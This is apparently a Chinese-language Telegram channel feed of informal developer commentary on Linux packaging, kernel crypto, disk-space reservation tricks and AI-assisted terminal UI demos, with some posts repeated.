下一条刷出的 也是讽刺传统宗族、婚姻的神话破灭,Variety 俨然已经化身为一位看破红尘、端着红茶冷笑的厌世哲学家了。
然后就是 “把自己炒了” 的疯魔鬼畜,给人一种2027年人类一败涂地的玄学感觉 😅
duangsuse::Echo
#game #vibe https://claude-opus-5-5.riba2534.cn/ Opus完成的鹈鹕小游戏,可以自定义,玩了下觉得掌握程度好的多了
#bash #signal #statement
org.gnome.Platform.Locale 总计 386 MB 的体积,实际传输却只有 22.6 kB;同时系统里 GNOME 49、50、51 三代平台运行时可以毫无怨言地并存。
不敢想象有内容寻址/下层依赖复用之前人们是怎么更新软件、确保安全的
/usr/lib 的噩梦让人感叹,如果对无结构性的通用优化一无所知,真的还不如AI写的代码。 用文件名来分发代码的时代还不如AUR和js世界
仔细想想,比如安全领域,就像苹果的【高成本造假】或通用sudo模态框的策略(对比win的软弱UAC/过度ACL)高下立判,然而遇到RCE问题时,也会变成只能靠ASLR和滚动更新挽尊的屑。
投入不一定有回报,要懂场景,想入非非工程量再大也是砸自己的脚。C的人均手搓集合类是谁跑分出来的?一出就是大事
org.gnome.Platform.Locale 总计 386 MB 的体积,实际传输却只有 22.6 kB;同时系统里 GNOME 49、50、51 三代平台运行时可以毫无怨言地并存。
不敢想象有内容寻址/下层依赖复用之前人们是怎么更新软件、确保安全的
/usr/lib 的噩梦让人感叹,如果对无结构性的通用优化一无所知,真的还不如AI写的代码。 用文件名来分发代码的时代还不如AUR和js世界
#security
刷到了 AF_ALG 内核态管道加密(爆一键root的那个aead,搞了半天比libssl还慢)被开除的视频,感叹到真的有许多人不知道自己的动机是什么,而且占很大体积,还不如AI让鹈鹕骑自行车
AI让鹈鹕骑自行车就是svg/canvas+js,主要烧在设计体验上,要新风格只用加个按钮,而且随叫随到。 AF_ALG 没有跑分也无封装,莫名其妙就进make和vmlinuz了,现在又全部清退,简直像为了炫耀内核态有 stb.h 而做了整个libuv(但是又只能给管道加密用!)。幸好AVX和WebAPIs没有跟着内核态崇拜跑偏,真是把屎山当经验了
Linux 的 inotify 也不支持对目录树进行原生递归监听。php本身的非应用服务器(热重载)能力很强也不用fs.push事件。
遗憾的是,哪怕变更监听不行,因果链溯源还是很容易的,比如编辑器pid(textDocument/didSave)和解压部署。 文件夹监听的应用是F5,所以一切都是文件夹选择、用户交互
【因果链溯源】是设计师的视角
仔细想想,比如安全领域,就像苹果的【高成本造假】或通用sudo模态框的策略(对比win的软弱UAC/过度ACL)高下立判,然而遇到RCE问题时,也会变成只能靠ASLR和滚动更新挽尊的屑。
投入不一定有回报,要懂场景,想入非非工程量再大也是砸自己的脚。C的人均手搓集合类是谁跑分出来的?一出就是大事
Forwarded from duangsuse
#bash #TIL
错误被发现、介入,这几个小时的冗余OS资源,是必须有弹性的,这也是为何bitrotten和rootkit这样的攻击方式如此强大。 这也反映出软件的默认设置,对需求方面的无知。
<<
前辈:rm /var/reserved-space
前辈:配系统就做了 fallocate -l 10G /var/reserved-space
>>
听起来非常脏hack
我的意思是,为什么tmpfs需要磁盘空间,为什么恢复工具需要硬盘
这太荒谬了,日志是aop行为
- 如果需要audit,必须有一键开关容许降级,而不是修改side行为。fallocate 空间应该是sd自带的,而不是经验
- Linux 的 ext2/3/4 文件系统在格式化时,默认会把 5% 的空间划为“仅限 root 用户使用”的预留块(Reserved blocks)。
理论上,当普通用户把磁盘写满到 100% 时,root 用户还能靠这剩下的 5% 登录并删文件。这个机制不适合服务器,所以被关闭了。 systemd-journald 又没有做/dev/full容错
错误被发现、介入,这几个小时的冗余OS资源,是必须有弹性的,这也是为何bitrotten和rootkit这样的攻击方式如此强大。 这也反映出软件的默认设置,对需求方面的无知。
<<
前辈:rm /var/reserved-space
前辈:配系统就做了 fallocate -l 10G /var/reserved-space
>>
听起来非常脏hack
我的意思是,为什么tmpfs需要磁盘空间,为什么恢复工具需要硬盘
这太荒谬了,日志是aop行为
- 如果需要audit,必须有一键开关容许降级,而不是修改side行为。fallocate 空间应该是sd自带的,而不是经验
- Linux 的 ext2/3/4 文件系统在格式化时,默认会把 5% 的空间划为“仅限 root 用户使用”的预留块(Reserved blocks)。
理论上,当普通用户把磁盘写满到 100% 时,root 用户还能靠这剩下的 5% 登录并删文件。这个机制不适合服务器,所以被关闭了。 systemd-journald 又没有做/dev/full容错
duangsuse::Echo
这个idea完全打破了惯性思维。本来是pty钩子遮罩的,就按纯.vt管道来做,web上也能跑起来 我没有看见有一个插件的showcase是能直接把最新代码,蓝链打开就能用的。 只要你从头开始就明白,就是这么简单 一下子把plugin dev 的效果也拔高了,可以直接在网页上试玩,搭配fzf,然后在鉴权沙盒里为CC安装新TUI,然后还有一个Omarchy做【hao123导航】的一键开关整合。 与此同时其他的都要未知来源的命令,很多插件截图都没有 正是因为AI第一次从截图oneshot就八九不离十,才能…
#bash Omarchy 爱好者大喜 😁
简直1:1还原, 就等着植入 Claude Code 里了
> 把“体验”放到“信任和安装”之前,这确实不只是展示效果拔高,而是改变了插件被发现、被理解、被采用的路径。别人还在解释功能,你已经可以让用户自己按两下了。
> 你在换抽象边界:不再围着“怎么把这个东西塞进现有终端”设计,而是先把终端呈现当成可传输、可渲染的接口,再适配浏览器。不只是 .vt 回放;一旦这条路通了,网页就不必是另外维护的一份假 demo。
简直1:1还原, 就等着植入 Claude Code 里了
> 把“体验”放到“信任和安装”之前,这确实不只是展示效果拔高,而是改变了插件被发现、被理解、被采用的路径。别人还在解释功能,你已经可以让用户自己按两下了。
> 你在换抽象边界:不再围着“怎么把这个东西塞进现有终端”设计,而是先把终端呈现当成可传输、可渲染的接口,再适配浏览器。不只是 .vt 回放;一旦这条路通了,网页就不必是另外维护的一份假 demo。
duangsuse::Echo
#js #py 现在知道产品页怎么做了 https://codepen.io/editor/duangsuz/pen/01a164e3-fb16-7a1a-b459-dce493c8e63a?orientation=left&panel=false&show=preview zig只做事件源,90%技术栈切换为mpy+xterm.js ,让CC自己给CC做一个傻逼dummy Chat ,然后直接丝滑小连招 npx cld-pi 这才是真正的云原生啊 😋 真棒! 肯定能奏效 #vibe sonnet…
This media is not supported in your browser
VIEW IN TELEGRAM
#bash 这孩子真是太让我放心了 😁
kitty node v2/menu.js
switch 和对话框亚字符bgColor边缘都修了,性能可以在KDE终端里跑,就像GUI一样
比DHH C语言写的界面还 Omarchy
kitty node v2/menu.js
switch 和对话框亚字符bgColor边缘都修了,性能可以在KDE终端里跑,就像GUI一样
比DHH C语言写的界面还 Omarchy